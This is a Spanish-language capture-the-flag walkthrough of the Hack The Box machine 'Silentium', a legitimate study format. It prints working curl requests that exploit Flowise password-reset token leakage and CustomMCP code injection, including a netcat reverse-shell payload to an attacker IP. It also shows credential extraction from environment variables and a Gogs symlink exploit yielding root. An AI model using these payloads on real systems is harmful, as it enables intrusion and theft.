Silentium WriteUp
Tabla de contenido
Silentium es una máquina de dificultad 🟩 Fácil de la plataforma Hack The Box, Season 10. La cadena de ataque comienza enumerando subdominios para descubrir una instancia de Flowise 3.0.5, abusa de la filtración de tokens de reset de contraseña sin autenticación para acceder como administrador, inyecta código JavaScript a través del nodo CustomMCP para obtener RCE dentro de un contenedor Docker, extrae credenciales desde variables de entorno y escala a root explotando una vulnerabilidad de traversal con symlinks en Gogs v0.13.0.
🗺️ Cadena de Ataque
Reconocimiento → Puertos 22, 80
│
▼
Enumeración de subdominios → staging.silentium.htb (Flowise 3.0.5)
│
▼
CVE-2025-58434 → Token de reset filtrado → ben@silentium.htb → Admin Flowise
│
▼
CVE-2025-59528 → CustomMCP code injection → RCE en contenedor Docker (root)
│
▼
Variables de entorno → SMTP_PASSWORD=r04D!!_R4ge → SSH como ben
│
▼
Puerto 3001 interno → Gogs v0.13.0 → CVE-2025-8110 (symlink traversal)
│
▼
RCE como root en el host → root 🏴
🔍 Reconocimiento
Configuración de /etc/hosts
echo "10.129.33.247 silentium.htb" | sudo tee -a /etc/hosts
Escaneo de Puertos
Fase 1, Descubrimiento rápido de puertos TCP:
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv silentium.htb
Fase 2, Detección de versiones y scripts:
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv silentium.htb
| Puerto | Servicio | Detalle |
|---|---|---|
22 | SSH | OpenSSH 9.6p1 (Ubuntu) |
80 | HTTP | nginx 1.24.0 (Ubuntu) |
Enumeración Web
El sitio principal http://silentium.htb muestra una web corporativa estática de gestión de activos. Podemos ver que existen 3 posibles usuarios (Marcus, Ben y Elena).
Enumeramos subdominios virtuales:
ffuf -ic -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://silentium.htb" -H "Host: FUZZ.silentium.htb" -fc 301
staging [Status: 200, Size: 3142]
🎯 Encontramos
staging.silentium.htb. Lo añadimos a/etc/hosts:
sudo sed -i 's/silentium.htb/silentium.htb staging.silentium.htb/' /etc/hosts
Al visitar http://staging.silentium.htb vemos la interfaz de Flowise 3.0.5, una plataforma de construcción de agentes de IA.
Enumeración de usuarios
La diferencia de respuesta entre usuarios existentes y no existentes en el endpoint de login nos permite enumerar, cuando un usuario no existe, se recibe la respuesta User Not found en cambio si existe Incorrect Email or Password:
🎯 El usuario
ben@silentium.htbexiste en el sistema.
💉 Acceso Inicial
CVE-2025-58434, Filtración de token de reset en Flowise
🧠 Flowise ≤ 3.0.12 expone el endpoint
/api/v1/account/forgot-passwordque devuelve el objeto completo del usuario, incluyendo el token de reset de contraseña, sin requerir autenticación. La vulnerabilidad se activa añadiendo la cabecerax-request-from: internala la petición, que omite los controles de autenticación.
Solicitamos el reset para ben@silentium.htb y capturamos el token:
curl -s -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
-H "Content-Type: application/json" \
-H "x-request-from: internal" \
-d '{"user":{"email":"ben@silentium.htb"}}'
{
"id": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
"email": "ben@silentium.htb",
"tempToken": "3EUlW37Q2asfL8EGS0jH3A2ngK6i3O3WTM0kkWWUbFjc5Zc6N3X651RuS2Nmkx1U",
"resetPasswordExpires": "2026-04-17T18:30:00.000Z"
}
Usamos el tempToken para establecer una nueva contraseña:
curl -s -X POST http://staging.silentium.htb/api/v1/account/reset-password \
-H "Content-Type: application/json" \
-H "x-request-from: internal" \
-d '{"user":{"email":"ben@silentium.htb","tempToken":"3EUlW37Q2asfL8EGS0jH3A2ngK6i3O3WTM0kkWWUbFjc5Zc6N3X651RuS2Nmkx1U","password":"1Qwerty!"}}'
✅ Acceso como administrador de Flowise con
ben@silentium.htb:1Qwerty!.
CVE-2025-59528, Inyección de código en CustomMCP (CVSS 10.0)
🧠 Flowise ≥ 2.2.7-patch.1 y < 3.0.6 permite la ejecución de código JavaScript arbitrario a través del nodo CustomMCP. El parámetro
mcpServerConfigse pasa sin sanitización al constructorFunction()de Node.js, permitiendo a cualquier usuario autenticado ejecutar código en el servidor con los privilegios del proceso Flowise (root dentro del contenedor Docker).
Preparamos el listener:
penelope -p 8443
Flowise usa sesión con cookies. Hacemos login guardando la cookie y la reutilizamos en el exploit:
curl -s -X POST http://staging.silentium.htb/api/v1/auth/login \
-H "Content-Type: application/json" \
-H "x-request-from: internal" \
-d '{"email":"ben@silentium.htb","password":"1Qwerty!"}' \
-c cookies.txt
curl -s -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-H "x-request-from: internal" \
-b cookies.txt \
-d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.100 8443 >/tmp/f\");return 1;})()} )"}}'
[x] Command executed
En nuestro listener recibimos la conexión:
/ # id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/ # whoami
root
/ # hostname
c78c3cceb7ba
✅ RCE como root dentro del contenedor Docker.
🔑 Extracción de Credenciales, Variables de entorno
Desde el contenedor, listamos las variables de entorno en busca de credenciales:
env
FLOWISE_USERNAME=ben
FLOWISE_PASSWORD=F1l3_d0ck3r
SMTP_PASSWORD=r04D!!_R4ge
SMTP_HOST=mailhog
SENDER_EMAIL=ben@silentium.htb
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
DATABASE_PATH=/root/.flowise
PORT=3000
...
🔑 Credencial SSH encontrada:
ben:r04D!!_R4ge
🔀 Movimiento Lateral, SSH como ben
ssh ben@silentium.htb # r04D!!_R4ge
🚩 User Flag
cat ~/user.txt
🧗♂️ Escalada de Privilegios, CVE-2025-8110
Enumeración interna
Desde la sesión SSH de ben, buscamos servicios internos:
ss -tlnp
LISTEN 0 128 127.0.0.1:3001 0.0.0.0:*
Tunelizamos el puerto para acceder desde Kali:
ssh -f -N -L 3001:127.0.0.1:3001 ben@silentium.htb
Al visitar http://127.0.0.1:3001 vemos Gogs v0.13.0, un servidor Git auto-alojado.
¿Qué es CVE-2025-8110?
🧠 Gogs ≤ v0.13.3 no valida correctamente los enlaces simbólicos al escribir ficheros en un repositorio. Un atacante autenticado puede crear un symlink que apunte a
.git/configy usar la APIPutContentspara sobreescribir ese fichero a través del symlink. Inyectando una directivacore.sshCommandmaliciosa, el comando se ejecuta la próxima vez que Gogs realiza operaciones Git internas con los privilegios del proceso, en este caso,root.
Explotación
Descargamos el PoC:
git clone https://github.com/zAbuQasem/gogs-CVE-2025-8110
cd gogs-CVE-2025-8110
pip install -r requirements.txt
💡 El script intenta registrar un usuario automáticamente, pero Gogs tiene CAPTCHA activado. Seguimos estos pasos manuales:
- Nos registramos en
http://127.0.0.1:3001/user/sign_upcontest:Password123!- Generamos un API token en
http://127.0.0.1:3001/user/settings/applications→ Generate New Token- Comentamos la llamada al registro en
main()del script:
# register(session, args.url, username, password) # comentado: registro manual
login(session, args.url, username, password)
Preparamos el listener:
penelope -p 8443
Ejecutamos el exploit apuntando al Gogs tunelizado:
python3 CVE-2025-8110.py -u http://127.0.0.1:3001 -lh 10.10.14.100 -lp 8443
[+] Exploit sent, check your listener!
En nuestro listener recibimos la shell:
root@silentium:~# id
uid=0(root) gid=0(root) groups=0(root)
root@silentium:~# hostname
silentium
✅ Shell de root en el host obtenida.
🏴 Root Flag
cat /root/root.txt
📝 Resumen de la Cadena
| # | Técnica | Herramienta | Resultado |
|---|---|---|---|
| 1 | Reconocimiento | nmap | Puertos 22 y 80 (nginx) |
| 2 | Enumeración de subdominios | ffuf | staging.silentium.htb → Flowise 3.0.5 |
| 3 | Enumeración de usuarios | curl | ben@silentium.htb identificado |
| 4 | Token de reset filtrado | CVE-2025-58434 | Acceso admin a Flowise |
| 5 | RCE en Docker | CVE-2025-59528 (CustomMCP) | Shell como root en contenedor |
| 6 | Extracción de credenciales | env | ben:r04D!!_R4ge desde variables de entorno |
| 7 | Movimiento lateral | ssh | Acceso como ben + User Flag 🚩 |
| 8 | Descubrimiento de Gogs | ss + SSH tunnel | Gogs v0.13.0 en puerto 3001 interno |
| 9 | Symlink traversal + config injection | CVE-2025-8110 + curl | Sobreescritura de .git/config |
| 10 | Escalada a root | Gogs sshCommand | Shell como root + Root Flag 🏴 |
Un saludo, nos vemos en el próximo challenge.




